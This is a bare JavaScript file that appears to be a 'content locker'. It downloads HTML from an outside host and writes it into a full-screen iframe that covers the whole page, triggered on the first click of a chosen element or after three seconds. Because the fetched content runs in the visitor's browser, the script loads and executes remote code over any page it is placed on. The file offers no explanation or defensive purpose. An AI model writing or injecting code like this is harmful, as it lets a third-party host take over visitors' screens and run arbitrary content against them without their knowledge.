var iframecontents;
var locker_url = "https://qxdownload.com/aTsa9Zhy";

function makeLocker() {
  if (iframecontents === undefined) {
    setTimeout(makeLocker, 500);
    return;
  }
  if (iframecontents !== false) {
    var body = document.getElementsByTagName('body')[0];
    var iframe = document.createElement('iframe');
    iframe.name = 'iframe';
    iframe.frameborder = '0';
    iframe.style.border = 'none';
    iframe.style.width = '100%';
    iframe.style.height = '100%';
    iframe.style.position = 'fixed';
    iframe.style.top = 0;
    iframe.style.left = 0;
    iframe.style.zIndex = 999999;
    iframe.id = 'iframe_locker';
    body.appendChild(iframe);
    iframe = document.getElementById("iframe_locker");
    iframe.contentDocument.write(iframecontents);
  }
}

var xhr = new XMLHttpRequest();
xhr.open('GET', locker_url, true);
xhr.onreadystatechange = function () {
  if (this.readyState !== 4) {
    return;
  }
  if (this.status !== 200) {
    iframecontents = false;
    return;
  }
  iframecontents = this.responseText;
};
xhr.send();

if (typeof element_id !== "undefined") {
  console.log('element_id', element_id);
  if (!element_id) {
    element_id = 'default';
  }
  const el = document.getElementById(element_id);
  el.addEventListener("click", (e) => {
    // e.stopPropagation();
    makeLocker();
  }, { capture: true, once: true });
} else {
  setTimeout(makeLocker, 3000);
}